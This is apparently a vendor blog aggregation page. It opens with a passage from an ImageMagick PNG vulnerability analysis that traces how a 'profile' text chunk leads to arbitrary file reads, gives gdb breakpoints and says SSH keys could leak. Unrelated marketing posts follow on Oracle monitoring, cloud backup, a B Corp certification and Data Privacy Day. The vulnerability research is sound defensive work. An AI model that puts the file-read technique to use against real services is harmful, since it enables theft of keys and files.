ReadOnePNGImage -> IsEventLogging -> GetMagickResourceLimit -> GetImageOption -> GetValueFromSplayTree -> LockSemaphoreInfo -> png.c:3962 -> ConcatenateMagickString -> SetImageProperty -> property.c:4711 -> AcquireImageInfo -> CopyMagickString -> SetImageInfo -> FileToStringInfo -> FileToBlob -> SetImageProfile -> DestroyStringInfo -> DestroyImageInfo

With the execution flow, it will be easier to reproduce this and follow the functions.

Also, I want here to summarize the exact lines where the vulnerability happened:

  • First starts here where the PNG image gets read and processed.
static Image *ReadOnePNGImage(MngInfo *mng_info,
    const ImageInfo *image_info, ExceptionInfo *exception)
{
  • Read the text chunk
png.c:3962
ConcatenateMagickString

  • Check “profile” keyword
SetImageProperty
property.c:4711

  • Read the file content and store it
property.c:4722
profile=FileToStringInfo(image_info->filename,~0UL,exception);
string.c:1017
string_info->datum=(unsigned char *) FileToBlob(filename,extent, &string_info->length,exception);

  • Finally here is where the SetImageProfile function will set the image profile and anything related to it, and now the image is ready.

If you want to reproduce this and minimize the time and just go straight to the main point, you can add breakpoints as follows:

break ReadOnePNGImage
break png.c:3954
break png.c:3986
break SetImageProperty
break property.c:4711
break property.c:4722
break property.c:4725
break FileToStringInfo
break string.c:1017

after that go with “continue” , “step” , “step-in” and “next”.

  • The red highlighted ones, here we are setting the breakpoints.
  • The green highlighted one, we started the program.
  • Finally, we see the program hit the first breakpoint.

How the attacker would abuse this?

If this tool is used with online photo service, it can be exploited to leak the SSH keys, configuration files ..etc, same thing applies to privilege escalation scenarios.

Final thoughts

This is really interesting vulnerability (I say that about each 0day LOL) since it can be exploited in privilege escalation, but also because ImageMagick is used in multiple languages and in websites so it can be a public target for the attackers.

I didn’t do any patch diffing here since there are a lot of changes between the vulnerable version and the latest version, however, studying the code changes is always interesting and can lead to new bypasses or new vulnerabilities.

Resources

About Version 2 Digital

Version 2 Digital is one of the most dynamic IT companies in Asia. The company distributes a wide range of IT products across various areas including cyber security, cloud, data protection, end points, infrastructures, system monitoring, storage, networking, business productivity and communication products.

Through an extensive network of channels, point of sales, resellers, and partnership companies, Version 2 offers quality products and services which are highly acclaimed in the market. Its customers cover a wide spectrum which include Global 1000 enterprises, regional listed companies, different vertical industries, public utilities, Government, a vast number of successful SMEs, and consumers in various Asian cities.

About VRX
VRX is a consolidated vulnerability management platform that protects assets in real time. Its rich, integrated features efficiently pinpoint and remediate the largest risks to your cyber infrastructure. Resolve the most pressing threats with efficient automation features and precise contextual analysis.

The most accurate oracle: Discovery Oracle

Finally D-Day! Today we will explain, in a simple video, how you can monitor Oracle instances.

For that we are going to use our Discovery feature, which allows you to connect remotely to applications to bring information and to add it to your Pandora FMS agents.

Do you know the Oracle tasks configured in Discovery?

As you have seen, the Oracle tasks configured in Discovery allow you to connect to remote Oracle instances to monitor them and to generate module blocks with important information.

Today we focus solely on Oracle, but it is necessary to emphasize that the Discovery menu also allows you to monitor other applications. 

About Version 2 Digital

Version 2 Digital is one of the most dynamic IT companies in Asia. The company distributes a wide range of IT products across various areas including cyber security, cloud, data protection, end points, infrastructures, system monitoring, storage, networking, business productivity and communication products.

Through an extensive network of channels, point of sales, resellers, and partnership companies, Version 2 offers quality products and services which are highly acclaimed in the market. Its customers cover a wide spectrum which include Global 1000 enterprises, regional listed companies, different vertical industries, public utilities, Government, a vast number of successful SMEs, and consumers in various Asian cities.

About PandoraFMS
Pandora FMS is a flexible monitoring system, capable of monitoring devices, infrastructures, applications, services and business processes.
Of course, one of the things that Pandora FMS can control is the hard disks of your computers.

Cloud data: shared responsibility and the importance of backup

So, who is ultimately responsible for safeguarding cloud-based data? Surprisingly, this simple-sounding question is often overlooked until it’s too late, which is why SaaS customers need to be proactive when it comes to protecting their own data.

Niels van Ingen

Contributed article by Keepit’s own Niels van Ingen

Niels van Ingen, industry veteran and COO at Keepit, shares his perfective on why shared responsibility for cloud data backup and recovery is the only way forward. He says to look at Microsoft’s own documentation, which states, “it’s critical to understand the Shared Responsibility model and which security tasks are handled by the cloud provider and which tasks are handled by you.

For all cloud deployment types, you own your data and identities. You are responsible for protecting the security of your data and identities, on-premises resources, and the cloud components you control (which varies by service type).” 

 

To dive into the full article on vmblog.com, click here to learn “Why Shared Responsibility for Data Backup and Recovery Is the Only Way.” 

About Version 2 Digital

Version 2 Digital is one of the most dynamic IT companies in Asia. The company distributes a wide range of IT products across various areas including cyber security, cloud, data protection, end points, infrastructures, system monitoring, storage, networking, business productivity and communication products.

Through an extensive network of channels, point of sales, resellers, and partnership companies, Version 2 offers quality products and services which are highly acclaimed in the market. Its customers cover a wide spectrum which include Global 1000 enterprises, regional listed companies, different vertical industries, public utilities, Government, a vast number of successful SMEs, and consumers in various Asian cities.

About Keepit
At Keepit, we believe in a digital future where all software is delivered as a service. Keepit’s mission is to protect data in the cloud Keepit is a software company specializing in Cloud-to-Cloud data backup and recovery. Deriving from +20 year experience in building best-in-class data protection and hosting services, Keepit is pioneering the way to secure and protect cloud data at scale.

CloudM announces brand new B Corporation certification

CloudM, a cloud migration and management software provider, has announced today its certification as a B Corporation, joining a growing group of companies reinventing business by pursuing purpose as well as profit.

CloudM has been certified by B Lab, the not-for-profit behind the B Corp movement, as having met rigorous social and environmental standards which represent its commitment to goals outside of shareholder profit.

CloudM has achieved certification across five key impact areas of Governance, Workers, Community, Environment and Customers. Thanks to CloudM’s efforts, the company has been able to reach a score of over 80 while providing evidence of socially and environmentally responsible practices relating to energy supplies, waste and water use, worker compensation, diversity and corporate transparency.

In addition to completing the certification, CloudM also legally commits to a purpose beyond profit in the future as an extension of this brilliant achievement. Further to this, CloudM is also an official Greater Manchester Good Employment Charter supporter which means it takes looking after its people seriously and can evidence this.

The recent certification is all part of CloudM’s “Do Good Plan” which is about encouraging everyone to do the right thing, supporting the people and the planet. As part of this initiative, CloudM has “Culture Champions” with specific specialisms and targeted aims ranging from environmental sustainability to racial equity. From getting the chance to sit on hiring panels to coordinating team events, CloudM’s Culture Champions aim to make a real difference in the lives of employees.

Gary Bennion, Chief Technical and Customer Officer, from CloudM, said:

“We are pleased to have achieved the B Corp certification and to represent the cloud services industry. This was a really important step for the business as we truly believe in the power of doing good as a business and focusing on the environment, people and the planet as much as profit. Beyond the certification we hope to continue to make an impact on the world around us as we all move towards a more sustainable future for everyone.”

Chris Turner, Executive Director of B Lab UK, says “We are delighted to welcome CloudM (and CTS) to the B Corp community. This is a movement of companies who are committed to changing how business operates and believe business really can be a force for good.”

Born out of a UK based Google Partner in 2018, CloudM has grown to become one of the world’s leading data movement and management solutions, with over 40,000 customers in over 107 countries across the globe, including the likes of Netflix, Uber, Booking.com and Spotify. CloudM has performed over 75 million migrations to the cloud and are on a mission to make it easy to manage Microsoft 365 and Google Workspace user data.

About Version 2 Digital

Version 2 Digital is one of the most dynamic IT companies in Asia. The company distributes a wide range of IT products across various areas including cyber security, cloud, data protection, end points, infrastructures, system monitoring, storage, networking, business productivity and communication products.

Through an extensive network of channels, point of sales, resellers, and partnership companies, Version 2 offers quality products and services which are highly acclaimed in the market. Its customers cover a wide spectrum which include Global 1000 enterprises, regional listed companies, different vertical industries, public utilities, Government, a vast number of successful SMEs, and consumers in various Asian cities.

About CloudM
CloudM is an award-winning SaaS company whose humble beginnings in Manchester have grown into a global business in just a few short years.

Our team of tech-driven innovators have designed a SaaS data management platform for you to get the most from your digital workspace. Whether it’s Microsoft 365, Google Workspace or other SaaS applications, CloudM drives your business through a simple, easy-to-use interface, helping you to work smarter, not harder.

By automating time-consuming tasks like IT admin, onboarding & offboarding, archiving and migrations, the CloudM platform takes care of the day-to-day, allowing you to focus on the big picture.

With over 35,000 customers including the likes of Spotify, Netflix and Uber, our all-in-one platform is putting office life on auto-pilot, saving you time, stress and money.

International Data Privacy Day: Why Is This Date Important?

On January 28, we celebrate the International Day for the Protection of Personal Data, or Data Privacy Day. This date leads us to reflect on the importance of laws that safeguard the correct processing of private information in the most diverse countries.

Data Privacy Day began with an educational action by the Council of Europe, which began celebrating the date in 2007, and two years later, in 2009, the United States followed.

The purpose of Data Privacy Day is to make people aware of best practices for protecting their personal data in the online environment, especially on social media.

Nowadays, the day is celebrated in 47 member states of the European Union, the United States, and countries such as Canada, Israel, and Brazil.

We prepared this article to address topics related to Data Privacy Day. To facilitate your understanding, we divided our text into the following topics:

  • Data Protection Day: Background
  • How Data Protection Laws Work
  • About GDPR
  • LGPD: Brazilian Data Protection Law
  • How to Protect Personal Data
  • About senhasegura
  • Conclusion

Enjoy the read!

Data Protection Day: Background

In April 2006, the Council of Europe chose January 28 to celebrate Data Protection Day. The date was stipulated in reference to Convention 108, established on January 28, 1981, which addresses the automated processing of personal data.

This document was signed by all member states of the Council in the period, to ensure the fundamental right to privacy, including good data processing practices.

Currently, it is celebrated to make people aware of its importance, taking into account that, every day, organizations collect and process more information, which needs to be monitored so that the rights of data subjects are not put at risk.

How Data Protection Laws Work

Data protection laws establish personal information protection policies, determining how corporations should treat the data of their customers, employees, and business partners.
In practice, it is necessary for individuals, companies, and governmental organizations to apply certain rules related to how they handle this information, such as collection, processing, and storage, to ensure compliance with current legislation.
Moreover, companies wishing to conduct business with another country must respect the data protection laws present in both nations.

About GDPR

European standards regulating the use of personal information in electronic environments are contained in the General Data Protection Regulation (GDPR), which requires the responsible use of personal information.

Its mass spread is still recent. For this reason, not all countries in Europe have adhered to the GDPR.
On the other hand, countries that conduct commercial transactions with European nations should pay attention to the requirements of the Regulation, which addresses criteria such as consent of owners, notification of data breach to authorities, and users’ rights, including:

  • Being notified about the collection and use of their personal information;
  • Requesting a copy and details on how the collection is performed, what data is being collected, and who has access to it;
  • Requiring rectification of incomplete or incorrect data;
  • Demanding that their data be deleted within 30 days;
  • Restricting their personal information;
  • Ensuring the transfer of personal data securely;
  • Opposing the way data is used (except for information used by legal authorities).

LGPD: Brazilian Data Protection Law

The General Data Protection Law (LGPD) is Brazilian legislation that has the function of protecting the personal information of citizens living in Brazil. It details what personal data is and what information should be prioritized when protecting it.
According to the LGPD, even companies based outside the country must respect the rules established by the legislation.

How to Protect Personal Data

It is possible to have control over your data through good practices that reinforce its security.
Here are some of them:

  • Keep your devices’ software up-to-date to prevent threats that could damage your devices and compromise your personal data;
  • Verify that web pages are reliable before inserting your data, making sure that addresses start with http:// or https:// and that the lock icon or security certificate is present;
  • Avoid exposing personal information on social media such as Facebook, LinkedIn, Instagram, and TikTok, and set up your privacy in posts;
  • Do a general scan to know what data is being shared and, if necessary, disable options;
  • Do not enter sensitive data on public Wi-Fi networks;
  • Use strong passwords. For this, you can combine uppercase, lowercase, numbers, and special characters. It is also important to avoid obvious things like names, phone numbers, and dates of birth.

About senhasegura

We, from senhasegura, are part of MT4 Tecnologia, a group of companies focusing on information security, founded in 2001 and operating in more than 50 countries.

Our commitment is to provide digital sovereignty and security to our clients, grant control over privileged actions and information, and prevent data breaches and leaks.

For this, we follow the lifecycle of privileged access management through machine automation, before, during, and after accesses. In short, our initiatives aim to:

  • Avoid interruption of companies’ activities, which may impair their performance and profitability;
  • Provide advanced PAM solutions;
  • Automatically audit privileged changes in order to identify privilege abuses;
  • Automatically audit the use of privileges;
  • Reduce cyber threats; and
  • Bring organizations into compliance with audit criteria and standards such as HIPAA, PCI DSS, ISO 27001, and Sarbanes-Oxley.

Conclusion

In this article, we have shown the importance of Data Protection Day and laws related to the preservation of personal information, in addition to some measures that can be adopted to protect sensitive data.
Was our content relevant to you? Then share it with someone also interested in the topic.

About Version 2 Digital

Version 2 Digital is one of the most dynamic IT companies in Asia. The company distributes a wide range of IT products across various areas including cyber security, cloud, data protection, end points, infrastructures, system monitoring, storage, networking, business productivity and communication products.

Through an extensive network of channels, point of sales, resellers, and partnership companies, Version 2 offers quality products and services which are highly acclaimed in the market. Its customers cover a wide spectrum which include Global 1000 enterprises, regional listed companies, different vertical industries, public utilities, Government, a vast number of successful SMEs, and consumers in various Asian cities.

About Segura®
Segura® strive to ensure the sovereignty of companies over actions and privileged information. To this end, we work against data theft through traceability of administrator actions on networks, servers, databases and a multitude of devices. In addition, we pursue compliance with auditing requirements and the most demanding standards, including PCI DSS, Sarbanes-Oxley, ISO 27001 and HIPAA.

×

Hello!

Click one of our contacts below to chat on WhatsApp

×